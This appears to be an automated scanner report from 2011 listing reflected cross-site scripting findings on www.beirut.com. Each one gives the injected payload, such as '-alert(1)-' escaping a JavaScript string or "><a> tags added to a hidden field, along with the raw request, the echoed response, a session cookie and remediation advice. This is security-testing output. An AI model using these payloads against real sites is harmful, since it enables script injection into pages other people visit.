GET /Online-Internet/Business24096'-alert(1)-'6f3d30ecf5a/56859781 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 06:49:27 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 56309
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='purple'; var indexpage='Online-Internet/Business24096'-alert(1)-'6f3d30ecf5a'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload c8728'-alert(1)-'b470d472cc4 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internetc8728'-alert(1)-'b470d472cc4/Classifieds/395527905 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:16:35 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60295
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Online-Internetc8728'-alert(1)-'b470d472cc4/Classifieds'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fdd5c"><a>47dd424aae was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internetfdd5c"><a>47dd424aae/Classifieds/395527905 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:06:52 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60254
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internetfdd5c"><a>47dd424aae"> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ba3b3'-alert(1)-'bf2f86fcc9e was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Classifiedsba3b3'-alert(1)-'bf2f86fcc9e/395527905 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:23:29 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57119
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internet/Classifiedsba3b3'-alert(1)-'bf2f86fcc9e'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8150"><a>69b08593017 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internetd8150"><a>69b08593017/Design-services/3885810200 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:04:43 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60324
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internetd8150"><a>69b08593017"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bb975'-alert(1)-'d4cd8a40ede was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internetbb975'-alert(1)-'d4cd8a40ede/Design-services/3885810200 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:17:12 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60292
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Online-Internetbb975'-alert(1)-'d4cd8a40ede/Design-services'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b5d2f'-alert(1)-'870f198d5f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Design-servicesb5d2f'-alert(1)-'870f198d5f/3885810200 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:21:49 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 55871
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Online-Internet/Design-servicesb5d2f'-alert(1)-'870f198d5f'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e02fd"><a>485acc119c2 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internete02fd"><a>485acc119c2/Directories/0054751592 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:10:19 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60241
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internete02fd"><a>485acc119c2"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload a5f85'-alert(1)-'f85890f381b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Interneta5f85'-alert(1)-'f85890f381b/Directories/0054751592 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:20:33 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 59975
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Online-Interneta5f85'-alert(1)-'f85890f381b/Directories'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 231fc'-alert(1)-'973dc70caef was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Directories231fc'-alert(1)-'973dc70caef/0054751592 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:23:26 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57719
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='blue'; var indexpage='Online-Internet/Directories231fc'-alert(1)-'973dc70caef'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2b7e"><a>add34d5e1c7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internetd2b7e"><a>add34d5e1c7/Fashion-and-Shopping/8023704728 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:14:13 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60243
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internetd2b7e"><a>add34d5e1c7"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3279c'-alert(1)-'cfab6d99f78 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet3279c'-alert(1)-'cfab6d99f78/Fashion-and-Shopping/8023704728 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:21:56 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60917
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internet3279c'-alert(1)-'cfab6d99f78/Fashion-and-Shopping'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload acba4'-alert(1)-'a9e9c40c78 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet/Fashion-and-Shoppingacba4'-alert(1)-'a9e9c40c78/8023704728 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:27:58 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 57862
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='magenta'; var indexpage='Online-Internet/Fashion-and-Shoppingacba4'-alert(1)-'a9e9c40c78'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4d0dd"><a>8ac9e9b9414 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /Online-Internet4d0dd"><a>8ac9e9b9414/Foreign-Exchange/5783938930 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:03:09 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60251
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <input type="hidden" name="indexpage" id="indexpage" value="Online-Internet4d0dd"><a>8ac9e9b9414"> ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2476b'-alert(1)-'ec45706067d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /Online-Internet2476b'-alert(1)-'ec45706067d/Foreign-Exchange/5783938930 HTTP/1.1 Host: www.beirut.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=52332730.1295922061.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/56; PHPSESSID=17jkapsd34tdtfv9m4mr30gs23; fbsetting_98034c63917cb0c0c02f1b9429eaa593=%7B%22connectState%22%3A2%2C%22oneLineStorySetting%22%3A3%2C%22shortStorySetting%22%3A3%2C%22inFacebook%22%3Afalse%7D; __utma=52332730.310658913.1295922061.1295922061.1295922061.1; __utmc=52332730; __utmb=52332730.1.10.1295922061; base_domain_98034c63917cb0c0c02f1b9429eaa593=beirut.com;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 07:14:54 GMT Server: Apache/2.2.3 (CentOS) Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform Pragma: no-cache Vary: User-Agent,Accept,Accept-Encoding Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 60277
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:fb="http://www.facebook.com/ ...[SNIP]... <script type="text/javascript"> var randstyle='orange'; var indexpage='Online-Internet2476b'-alert(1)-'ec45706067d/Foreign-Exchange'; var initfacebox=''; var contactid=''; var showfacebox=''; </script> ...[SNIP]...
